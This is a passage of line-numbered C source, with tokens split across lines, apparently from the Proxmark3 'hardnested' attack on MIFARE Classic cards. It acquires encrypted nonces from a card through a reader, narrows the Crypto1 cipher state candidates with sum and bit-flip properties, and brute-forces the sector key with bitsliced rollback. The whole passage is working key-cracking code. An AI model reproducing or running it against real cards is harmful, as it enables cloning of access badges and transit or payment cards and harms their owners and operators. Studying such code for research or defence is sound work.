? 0x0004 : 0;
783 UsbCommand c
= {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES
, {blockNo
+ keyType
* 0x100, trgBlockNo
+ trgKeyType
* 0x100, flags
}};
784 memcpy(c
.d
.asBytes
, key
, 6);
788 if (field_off
) finished
= true;
791 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) return 1;
792 if (resp
.arg
[0]) return resp
.arg
[0]; // error during nested_hard
795 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
796 if (nonce_file_write
&& fnonces
== NULL
) {
797 if ((fnonces
= fopen("nonces.bin","wb")) == NULL
) {
798 PrintAndLog("Could not create file nonces.bin");
801 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
802 num_to_bytes(cuid
, 4, write_buf
);
803 fwrite(write_buf
, 1, 4, fnonces
);
804 fwrite(&trgBlockNo
, 1, 1, fnonces
);
805 fwrite(&trgKeyType
, 1, 1, fnonces
);
810 uint32_t nt_enc1
, nt_enc2
;
812 uint16_t num_acquired_nonces
= resp
.arg
[2];
813 uint8_t *bufp
= resp
.d
.asBytes
;
814 for (uint16_t i
= 0; i
< num_acquired_nonces
; i
+=2) {
815 nt_enc1
= bytes_to_num(bufp
, 4);
816 nt_enc2
= bytes_to_num(bufp
+4, 4);
817 par_enc
= bytes_to_num(bufp
+8, 1);
819 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
820 total_added_nonces
+= add_nonce(nt_enc1
, par_enc
>> 4);
821 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
822 total_added_nonces
+= add_nonce(nt_enc2
, par_enc
& 0x0f);
824 if (nonce_file_write
) {
825 fwrite(bufp
, 1, 9, fnonces
);
831 total_num_nonces
+= num_acquired_nonces
;
834 if (first_byte_num
== 256 ) {
835 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
836 if (!filter_flip_checked
) {
837 Check_for_FilterFlipProperties();
838 filter_flip_checked
= true;
840 num_good_first_bytes
= estimate_second_byte_sum();
841 if (total_num_nonces
> next_fivehundred
) {
842 next_fivehundred
= (total_num_nonces
/500+1) * 500;
843 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
846 CONFIDENCE_THRESHOLD
* 100.0,
847 num_good_first_bytes
);
849 if (total_added_nonces
> (2500*idx
)) {
850 clock_t time1
= clock();
851 field_off
= generate_candidates(first_byte_Sum
, nonces
[best_first_bytes
[0]].Sum8_guess
);
852 time1
= clock() - time1
;
853 if ( time1
> 0 ) PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1
)/CLOCKS_PER_SEC
);
854 if (known_target_key
!= -1) brute_force();
858 if (num_good_first_bytes
>= GOOD_BYTES_REQUIRED
) {
859 field_off
= true; // switch off field with next SendCommand and then finish
863 field_off
= finished
= brute_force();
868 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) {
874 return resp
.arg
[0]; // error during nested_hard
883 if (nonce_file_write
) {
887 time1
= clock() - time1
;
889 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
891 ((float)time1
)/CLOCKS_PER_SEC
,
892 total_num_nonces
* 60.0 * CLOCKS_PER_SEC
/(float)time1
898 static int init_partial_statelists(void)
900 const uint32_t sizes_odd
[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
901 const uint32_t sizes_even
[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
903 printf("Allocating memory for partial statelists...\n");
904 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
905 for (uint16_t i
= 0; i
<= 16; i
+=2) {
906 partial_statelist
[i
].len
[odd_even
] = 0;
907 uint32_t num_of_states
= odd_even
== ODD_STATE
? sizes_odd
[i
] : sizes_even
[i
];
908 partial_statelist
[i
].states
[odd_even
] = malloc(sizeof(uint32_t) * num_of_states
);
909 if (partial_statelist
[i
].states
[odd_even
] == NULL
) {
910 PrintAndLog("Cannot allocate enough memory. Aborting");
913 for (uint32_t j
= 0; j
< STATELIST_INDEX_SIZE
; j
++) {
914 partial_statelist
[i
].index
[odd_even
][j
] = NULL
;
919 printf("Generating partial statelists...\n");
920 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
922 uint32_t num_of_states
= 1<<20;
923 for (uint32_t state
= 0; state
< num_of_states
; state
++) {
924 uint16_t sum_property
= PartialSumProperty(state
, odd_even
);
925 uint32_t *p
= partial_statelist
[sum_property
].states
[odd_even
];
926 p
+= partial_statelist
[sum_property
].len
[odd_even
];
928 partial_statelist
[sum_property
].len
[odd_even
]++;
929 uint32_t index_mask
= (STATELIST_INDEX_SIZE
-1) << (20-STATELIST_INDEX_WIDTH
);
930 if ((state
& index_mask
) != index
) {
931 index
= state
& index_mask
;
933 if (partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
934 partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
937 // add End Of List markers
938 for (uint16_t i
= 0; i
<= 16; i
+= 2) {
939 uint32_t *p
= partial_statelist
[i
].states
[odd_even
];
940 p
+= partial_statelist
[i
].len
[odd_even
];
941 *p
= END_OF_LIST_MARKER
;
948 static void init_BitFlip_statelist(void)
950 printf("Generating bitflip statelist...\n");
951 uint32_t *p
= statelist_bitflip
.states
[0] = malloc(sizeof(uint32_t) * 1<<20);
953 uint32_t index_mask
= (STATELIST_INDEX_SIZE
-1) << (20-STATELIST_INDEX_WIDTH
);
954 for (uint32_t state
= 0; state
< (1 << 20); state
++) {
955 if (filter(state
) != filter(state
^1)) {
956 if ((state
& index_mask
) != index
) {
957 index
= state
& index_mask
;
959 if (statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
960 statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
965 // set len and add End Of List marker
966 statelist_bitflip
.len
[0] = p
- statelist_bitflip
.states
[0];
967 *p
= END_OF_LIST_MARKER
;
968 statelist_bitflip
.states
[0] = realloc(statelist_bitflip
.states
[0], sizeof(uint32_t) * (statelist_bitflip
.len
[0] + 1));
971 static inline uint32_t *find_first_state(uint32_t state
, uint32_t mask
, partial_indexed_statelist_t
*sl
, odd_even_t odd_even
)
973 uint32_t *p
= sl
->index
[odd_even
][(state
& mask
) >> (20-STATELIST_INDEX_WIDTH
)]; // first Bits as index
975 if (p
== NULL
) return NULL
;
976 while (*p
< (state
& mask
)) p
++;
977 if (*p
== END_OF_LIST_MARKER
) return NULL
; // reached end of list, no match
978 if ((*p
& mask
) == (state
& mask
)) return p
; // found a match.
979 return NULL
; // no match
982 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, uint_fast8_t bit
, uint_fast8_t state_bit
)
984 uint_fast8_t j_1_bit_mask
= 0x01 << (bit
-1);
985 uint_fast8_t bit_diff
= byte_diff
& j_1_bit_mask
; // difference of (j-1)th bit
986 uint_fast8_t filter_diff
= filter(state1
>> (4-state_bit
)) ^ filter(state2
>> (4-state_bit
)); // difference in filter function
987 uint_fast8_t mask_y12_y13
= 0xc0 >> state_bit
;
988 uint_fast8_t state_bits_diff
= (state1
^ state2
) & mask_y12_y13
; // difference in state bits 12 and 13
989 uint_fast8_t all_diff
= evenparity8(bit_diff
^ state_bits_diff
^ filter_diff
); // use parity function to XOR all bits
993 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, uint_fast8_t bit
, uint_fast8_t state_bit
)
995 uint_fast8_t j_bit_mask
= 0x01 << bit
;
996 uint_fast8_t bit_diff
= byte_diff
& j_bit_mask
; // difference of jth bit
997 uint_fast8_t mask_y13_y16
= 0x48 >> state_bit
;
998 uint_fast8_t state_bits_diff
= (state1
^ state2
) & mask_y13_y16
; // difference in state bits 13 and 16
999 uint_fast8_t all_diff
= evenparity8(bit_diff
^ state_bits_diff
); // use parity function to XOR all bits
1003 static inline bool remaining_bits_match(uint_fast8_t num_common_bits
, uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, odd_even_t odd_even
)
1007 switch (num_common_bits
) {
1008 case 0: if (!invariant_holds(byte_diff
, state1
, state2
, 1, 0)) return true;
1009 case 1: if (invalid_state(byte_diff
, state1
, state2
, 1, 0)) return false;
1010 case 2: if (!invariant_holds(byte_diff
, state1
, state2
, 3, 1)) return true;
1011 case 3: if (invalid_state(byte_diff
, state1
, state2
, 3, 1)) return false;
1012 case 4: if (!invariant_holds(byte_diff
, state1
, state2
, 5, 2)) return true;
1013 case 5: if (invalid_state(byte_diff
, state1
, state2
, 5, 2)) return false;
1014 case 6: if (!invariant_holds(byte_diff
, state1
, state2
, 7, 3)) return true;
1015 case 7: if (invalid_state(byte_diff
, state1
, state2
, 7, 3)) return false;
1019 switch (num_common_bits
) {
1020 case 0: if (invalid_state(byte_diff
, state1
, state2
, 0, 0)) return false;
1021 case 1: if (!invariant_holds(byte_diff
, state1
, state2
, 2, 1)) return true;
1022 case 2: if (invalid_state(byte_diff
, state1
, state2
, 2, 1)) return false;
1023 case 3: if (!invariant_holds(byte_diff
, state1
, state2
, 4, 2)) return true;
1024 case 4: if (invalid_state(byte_diff
, state1
, state2
, 4, 2)) return false;
1025 case 5: if (!invariant_holds(byte_diff
, state1
, state2
, 6, 3)) return true;
1026 case 6: if (invalid_state(byte_diff
, state1
, state2
, 6, 3)) return false;
1030 return true; // valid state
1033 static bool all_other_first_bytes_match(uint32_t state
, odd_even_t odd_even
)
1035 for (uint16_t i
= 1; i
< num_good_first_bytes
; i
++) {
1036 uint16_t sum_a8
= nonces
[best_first_bytes
[i
]].Sum8_guess
;
1037 uint_fast8_t bytes_diff
= best_first_bytes
[0] ^ best_first_bytes
[i
];
1038 uint_fast8_t j
= common_bits(bytes_diff
);
1039 uint32_t mask
= 0xfffffff0;
1040 if (odd_even
== ODD_STATE
) {
1046 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1047 bool found_match
= false;
1048 for (uint16_t r
= 0; r
<= 16 && !found_match
; r
+= 2) {
1049 for (uint16_t s
= 0; s
<= 16 && !found_match
; s
+= 2) {
1050 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
1051 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1052 uint16_t part_sum_a8
= (odd_even
== ODD_STATE
) ? r
: s
;
1053 uint32_t *p
= find_first_state(state
, mask
, &partial_statelist
[part_sum_a8
], odd_even
);
1055 while ((state
& mask
) == (*p
& mask
) && (*p
!= END_OF_LIST_MARKER
)) {
1056 if (remaining_bits_match(j
, bytes_diff
, state
, (state
&0x00fffff0) | *p
, odd_even
)) {
1058 // if ((odd_even == ODD_STATE && state == test_state_odd)
1059 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1060 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1061 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1065 // if ((odd_even == ODD_STATE && state == test_state_odd)
1066 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1067 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1068 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1074 // if ((odd_even == ODD_STATE && state == test_state_odd)
1075 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1076 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1077 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1085 // if ((odd_even == ODD_STATE && state == test_state_odd)
1086 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1087 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1096 static bool all_bit_flips_match(uint32_t state
, odd_even_t odd_even
)
1098 for (uint16_t i
= 0; i
< 256; i
++) {
1099 if (nonces
[i
].BitFlip
[odd_even
] && i
!= best_first_bytes
[0]) {
1100 uint_fast8_t bytes_diff
= best_first_bytes
[0] ^ i
;
1101 uint_fast8_t j
= common_bits(bytes_diff
);
1102 uint32_t mask
= 0xfffffff0;
1103 if (odd_even
== ODD_STATE
) {
1109 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1110 bool found_match
= false;
1111 uint32_t *p
= find_first_state(state
, mask
, &statelist_bitflip
, 0);
1113 while ((state
& mask
) == (*p
& mask
) && (*p
!= END_OF_LIST_MARKER
)) {
1114 if (remaining_bits_match(j
, bytes_diff
, state
, (state
&0x00fffff0) | *p
, odd_even
)) {
1116 // if ((odd_even == ODD_STATE && state == test_state_odd)
1117 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1118 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1119 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1123 // if ((odd_even == ODD_STATE && state == test_state_odd)
1124 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1125 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1126 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1132 // if ((odd_even == ODD_STATE && state == test_state_odd)
1133 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1134 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1135 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1139 // if ((odd_even == ODD_STATE && state == test_state_odd)
1140 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1141 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1152 static struct sl_cache_entry
{
1155 } sl_cache
[17][17][2];
1157 static void init_statelist_cache(void)
1159 for (uint16_t i
= 0; i
< 17; i
+=2) {
1160 for (uint16_t j
= 0; j
< 17; j
+=2) {
1161 for (uint16_t k
= 0; k
< 2; k
++) {
1162 sl_cache
[i
][j
][k
].sl
= NULL
;
1163 sl_cache
[i
][j
][k
].len
= 0;
1169 static int add_matching_states(statelist_t
*candidates
, uint16_t part_sum_a0
, uint16_t part_sum_a8
, odd_even_t odd_even
)
1171 uint32_t worstcase_size
= 1<<20;
1173 // check cache for existing results
1174 if (sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
!= NULL
) {
1175 candidates
->states
[odd_even
] = sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
;
1176 candidates
->len
[odd_even
] = sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].len
;
1180 candidates
->states
[odd_even
] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size
);
1181 if (candidates
->states
[odd_even
] == NULL
) {
1182 PrintAndLog("Out of memory error.\n");
1185 uint32_t *add_p
= candidates
->states
[odd_even
];
1186 for (uint32_t *p1
= partial_statelist
[part_sum_a0
].states
[odd_even
]; *p1
!= END_OF_LIST_MARKER
; p1
++) {
1187 uint32_t search_mask
= 0x000ffff0;
1188 uint32_t *p2
= find_first_state((*p1
<< 4), search_mask
, &partial_statelist
[part_sum_a8
], odd_even
);
1190 while (((*p1
<< 4) & search_mask
) == (*p2
& search_mask
) && *p2
!= END_OF_LIST_MARKER
) {
1191 if ((nonces
[best_first_bytes
[0]].BitFlip
[odd_even
] && find_first_state((*p1
<< 4) | *p2
, 0x000fffff, &statelist_bitflip
, 0))
1192 || !nonces
[best_first_bytes
[0]].BitFlip
[odd_even
]) {
1193 if (all_other_first_bytes_match((*p1
<< 4) | *p2
, odd_even
)) {
1194 if (all_bit_flips_match((*p1
<< 4) | *p2
, odd_even
)) {
1195 *add_p
++ = (*p1
<< 4) | *p2
;
1204 // set end of list marker and len
1205 *add_p
= END_OF_LIST_MARKER
;
1206 candidates
->len
[odd_even
] = add_p
- candidates
->states
[odd_even
];
1208 candidates
->states
[odd_even
] = realloc(candidates
->states
[odd_even
], sizeof(uint32_t) * (candidates
->len
[odd_even
] + 1));
1210 sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
= candidates
->states
[odd_even
];
1211 sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].len
= candidates
->len
[odd_even
];
1216 static statelist_t
*add_more_candidates(statelist_t
*current_candidates
)
1218 statelist_t
*new_candidates
= NULL
;
1219 if (current_candidates
== NULL
) {
1220 if (candidates
== NULL
) {
1221 candidates
= (statelist_t
*)malloc(sizeof(statelist_t
));
1223 new_candidates
= candidates
;
1225 new_candidates
= current_candidates
->next
= (statelist_t
*)malloc(sizeof(statelist_t
));
1227 new_candidates
->next
= NULL
;
1228 new_candidates
->len
[ODD_STATE
] = 0;
1229 new_candidates
->len
[EVEN_STATE
] = 0;
1230 new_candidates
->states
[ODD_STATE
] = NULL
;
1231 new_candidates
->states
[EVEN_STATE
] = NULL
;
1232 return new_candidates
;
1235 static bool TestIfKeyExists(uint64_t key
)
1237 struct Crypto1State
*pcs
;
1238 pcs
= crypto1_create(key
);
1239 crypto1_byte(pcs
, (cuid
>> 24) ^ best_first_bytes
[0], true);
1241 uint32_t state_odd
= pcs
->odd
& 0x00ffffff;
1242 uint32_t state_even
= pcs
->even
& 0x00ffffff;
1243 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1246 for (statelist_t
*p
= candidates
; p
!= NULL
; p
= p
->next
) {
1247 bool found_odd
= false;
1248 bool found_even
= false;
1249 uint32_t *p_odd
= p
->states
[ODD_STATE
];
1250 uint32_t *p_even
= p
->states
[EVEN_STATE
];
1251 while (*p_odd
!= END_OF_LIST_MARKER
) {
1252 if ((*p_odd
& 0x00ffffff) == state_odd
) {
1258 while (*p_even
!= END_OF_LIST_MARKER
) {
1259 if ((*p_even
& 0x00ffffff) == state_even
) {
1264 count
+= (p_odd
- p
->states
[ODD_STATE
]) * (p_even
- p
->states
[EVEN_STATE
]);
1265 if (found_odd
&& found_even
) {
1266 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. ",
1270 log(maximum_states
)/log(2)
1273 fprintf(fstats
, "1\n");
1275 crypto1_destroy(pcs
);
1280 printf("Key NOT found!\n");
1282 fprintf(fstats
, "0\n");
1284 crypto1_destroy(pcs
);
1289 static bool generate_candidates(uint16_t sum_a0
, uint16_t sum_a8
)
1291 printf("Generating crypto1 state candidates... \n");
1293 statelist_t
*current_candidates
= NULL
;
1294 // estimate maximum candidate states
1296 for (uint16_t sum_odd
= 0; sum_odd
<= 16; sum_odd
+= 2) {
1297 for (uint16_t sum_even
= 0; sum_even
<= 16; sum_even
+= 2) {
1298 if (sum_odd
*(16-sum_even
) + (16-sum_odd
)*sum_even
== sum_a0
) {
1299 maximum_states
+= (uint64_t)partial_statelist
[sum_odd
].len
[ODD_STATE
] * partial_statelist
[sum_even
].len
[EVEN_STATE
] * (1<<8);
1304 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64
" (2^%1.1f)\n", sum_a0
, maximum_states
, log(maximum_states
)/log(2.0));
1306 init_statelist_cache();
1308 for (uint16_t p
= 0; p
<= 16; p
+= 2) {
1309 for (uint16_t q
= 0; q
<= 16; q
+= 2) {
1310 if (p
*(16-q
) + (16-p
)*q
== sum_a0
) {
1311 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1312 p
, q
, partial_statelist
[p
].len
[ODD_STATE
], partial_statelist
[q
].len
[EVEN_STATE
]);
1313 for (uint16_t r
= 0; r
<= 16; r
+= 2) {
1314 for (uint16_t s
= 0; s
<= 16; s
+= 2) {
1315 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
1316 current_candidates
= add_more_candidates(current_candidates
);
1317 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1318 // and eliminate the need to calculate the other part
1319 if (MIN(partial_statelist
[p
].len
[ODD_STATE
], partial_statelist
[r
].len
[ODD_STATE
])
1320 < MIN(partial_statelist
[q
].len
[EVEN_STATE
], partial_statelist
[s
].len
[EVEN_STATE
])) {
1321 add_matching_states(current_candidates
, p
, r
, ODD_STATE
);
1322 if(current_candidates
->len
[ODD_STATE
]) {
1323 add_matching_states(current_candidates
, q
, s
, EVEN_STATE
);
1325 current_candidates
->len
[EVEN_STATE
] = 0;
1326 uint32_t *p
= current_candidates
->states
[EVEN_STATE
] = malloc(sizeof(uint32_t));
1327 *p
= END_OF_LIST_MARKER
;
1330 add_matching_states(current_candidates
, q
, s
, EVEN_STATE
);
1331 if(current_candidates
->len
[EVEN_STATE
]) {
1332 add_matching_states(current_candidates
, p
, r
, ODD_STATE
);
1334 current_candidates
->len
[ODD_STATE
] = 0;
1335 uint32_t *p
= current_candidates
->states
[ODD_STATE
] = malloc(sizeof(uint32_t));
1336 *p
= END_OF_LIST_MARKER
;
1339 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1340 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1349 for (statelist_t
*sl
= candidates
; sl
!= NULL
; sl
= sl
->next
) {
1350 maximum_states
+= (uint64_t)sl
->len
[ODD_STATE
] * sl
->len
[EVEN_STATE
];
1352 float kcalc
= log(maximum_states
)/log(2.0);
1353 printf("Number of remaining possible keys: %"PRIu64
" (2^%1.1f)\n", maximum_states
, kcalc
);
1355 if (maximum_states
!= 0) {
1356 fprintf(fstats
, "%1.1f;", kcalc
);
1358 fprintf(fstats
, "%1.1f;", 0.0);
1361 if (kcalc
< 39.00f
) return true;
1366 static void free_candidates_memory(statelist_t
*sl
)
1371 free_candidates_memory(sl
->next
);
1376 static void free_statelist_cache(void)
1378 for (uint16_t i
= 0; i
< 17; i
+=2) {
1379 for (uint16_t j
= 0; j
< 17; j
+=2) {
1380 for (uint16_t k
= 0; k
< 2; k
++) {
1381 free(sl_cache
[i
][j
][k
].sl
);
1387 uint64_t foundkey
= 0;
1388 size_t keys_found
= 0;
1389 size_t bucket_count
= 0;
1390 statelist_t
* buckets
[128];
1391 size_t total_states_tested
= 0;
1392 size_t thread_count
= 4;
1394 // these bitsliced states will hold identical states in all slices
1395 bitslice_t bitsliced_rollback_byte
[ROLLBACK_SIZE
];
1397 // arrays of bitsliced states with identical values in all slices
1398 bitslice_t bitsliced_encrypted_nonces
[NONCE_TESTS
][STATE_SIZE
];
1399 bitslice_t bitsliced_encrypted_parity_bits
[NONCE_TESTS
][ROLLBACK_SIZE
];
1403 static const uint64_t crack_states_bitsliced(statelist_t
*p
){
1404 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1405 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1407 uint8_t bSize
= sizeof(bitslice_t
);
1410 size_t bucket_states_tested
= 0;
1411 size_t bucket_size
[p
->len
[EVEN_STATE
]/MAX_BITSLICES
];
1413 const size_t bucket_states_tested
= (p
->len
[EVEN_STATE
])*(p
->len
[ODD_STATE
]);
1416 bitslice_t
*bitsliced_even_states
[p
->len
[EVEN_STATE
]/MAX_BITSLICES
];
1417 size_t bitsliced_blocks
= 0;
1418 uint32_t const * restrict even_end
= p
->states
[EVEN_STATE
]+p
->len
[EVEN_STATE
];
1420 // bitslice all the even states
1421 for(uint32_t * restrict p_even
= p
->states
[EVEN_STATE
]; p_even
< even_end
; p_even
+= MAX_BITSLICES
){
1425 bitslice_t
* restrict lstate_p
= __mingw_aligned_malloc((STATE_SIZE
+ROLLBACK_SIZE
) * bSize
, bSize
);
1427 bitslice_t
* restrict lstate_p
= _aligned_malloc((STATE_SIZE
+ROLLBACK_SIZE
) * bSize
, bSize
);
1431 bitslice_t
* restrict lstate_p
= malloc((STATE_SIZE
+ROLLBACK_SIZE
) * bSize
);
1433 bitslice_t
* restrict lstate_p
= memalign(bSize
, (STATE_SIZE
+ROLLBACK_SIZE
) * bSize
);
1438 __sync_fetch_and_add(&total_states_tested
, bucket_states_tested
);
1442 memset(lstate_p
+1, 0x0, (STATE_SIZE
-1)*sizeof(bitslice_t
)); // zero even bits
1444 // bitslice even half-states
1445 const size_t max_slices
= (even_end
-p_even
) < MAX_BITSLICES
? even_end
-p_even
: MAX_BITSLICES
;
1447 bucket_size
[bitsliced_blocks
] = max_slices
;
1449 for(size_t slice_idx
= 0; slice_idx
< max_slices
; ++slice_idx
){
1450 uint32_t e
= *(p_even
+slice_idx
);
1451 for(size_t bit_idx
= 1; bit_idx
< STATE_SIZE
; bit_idx
+=2, e
>>= 1){
1454 lstate_p
[bit_idx
].bytes64
[slice_idx
>>6] |= 1ull << (slice_idx
&63);
1458 // compute the rollback bits
1459 for(size_t rollback
= 0; rollback
< ROLLBACK_SIZE
; ++rollback
){
1460 // inlined crypto1_bs_lfsr_rollback
1461 const bitslice_value_t feedout
= lstate_p
[0].value
;
1463 const bitslice_value_t ks_bits
= crypto1_bs_f20(lstate_p
);
1464 const bitslice_value_t feedback
= (feedout
^ ks_bits
^ lstate_p
[47- 5].value
^ lstate_p
[47- 9].value
^
1465 lstate_p
[47-10].value
^ lstate_p
[47-12].value
^ lstate_p
[47-14].value
^
1466 lstate_p
[47-15].value
^ lstate_p
[47-17].value
^ lstate_p
[47-19].value
^
1467 lstate_p
[47-24].value
^ lstate_p
[47-25].value
^ lstate_p
[47-27].value
^
1468 lstate_p
[47-29].value
^ lstate_p
[47-35].value
^ lstate_p
[47-39].value
^
1469 lstate_p
[47-41].value
^ lstate_p
[47-42].value
^ lstate_p
[47-43].value
);
1470 lstate_p
[47].value
= feedback
^ bitsliced_rollback_byte
[rollback
].value
;
1472 bitsliced_even_states
[bitsliced_blocks
++] = lstate_p
;
1475 // bitslice every odd state to every block of even half-states with half-finished rollback
1476 for(uint32_t const * restrict p_odd
= p
->states
[ODD_STATE
]; p_odd
< p
->states
[ODD_STATE
]+p
->len
[ODD_STATE
]; ++p_odd
){
1482 // set the odd bits and compute rollback
1483 uint64_t o
= (uint64_t) *p_odd
;
1484 lfsr_rollback_byte((struct Crypto1State
*) &o
, 0, 1);
1485 // pre-compute part of the odd feedback bits (minus rollback)
1486 bool odd_feedback_bit
= parity(o
&0x9ce5c);
1488 crypto1_bs_rewind_a0();
1490 for(size_t state_idx
= 0; state_idx
< STATE_SIZE
-ROLLBACK_SIZE
; o
>>= 1, state_idx
+=2){
1492 state_p
[state_idx
] = bs_ones
;
1494 state_p
[state_idx
] = bs_zeroes
;
1497 const bitslice_value_t odd_feedback
= odd_feedback_bit
? bs_ones
.value
: bs_zeroes
.value
;
1499 for(size_t block_idx
= 0; block_idx
< bitsliced_blocks
; ++block_idx
){
1500 bitslice_t
const * restrict bitsliced_even_state
= bitsliced_even_states
[block_idx
];
1503 for(state_idx
= 0; state_idx
< STATE_SIZE
-ROLLBACK_SIZE
; state_idx
+=2){
1504 state_p
[1+state_idx
] = bitsliced_even_state
[1+state_idx
];
1506 // set rollback bits
1508 for(; state_idx
< STATE_SIZE
; lo
>>= 1, state_idx
+=2){
1509 // set the odd bits and take in the odd rollback bits from the even states
1511 state_p
[state_idx
].value
= ~bitsliced_even_state
[state_idx
].value
;
1513 state_p
[state_idx
] = bitsliced_even_state
[state_idx
];
1516 // set the even bits and take in the even rollback bits from the odd states
1518 state_p
[1+state_idx
].value
= ~bitsliced_even_state
[1+state_idx
].value
;
1520 state_p
[1+state_idx
] = bitsliced_even_state
[1+state_idx
];
1525 bucket_states_tested
+= bucket_size
[block_idx
];
1527 // pre-compute first keystream and feedback bit vectors
1528 const bitslice_value_t ksb
= crypto1_bs_f20(state_p
);
1529 const bitslice_value_t fbb
= (odd_feedback
^ state_p
[47- 0].value
^ state_p
[47- 5].value
^ // take in the even and rollback bits
1530 state_p
[47-10].value
^ state_p
[47-12].value
^ state_p
[47-14].value
^
1531 state_p
[47-24].value
^ state_p
[47-42].value
);
1533 // vector to contain test results (1 = passed, 0 = failed)
1534 bitslice_t results
= bs_ones
;
1536 for(size_t tests
= 0; tests
< NONCE_TESTS
; ++tests
){
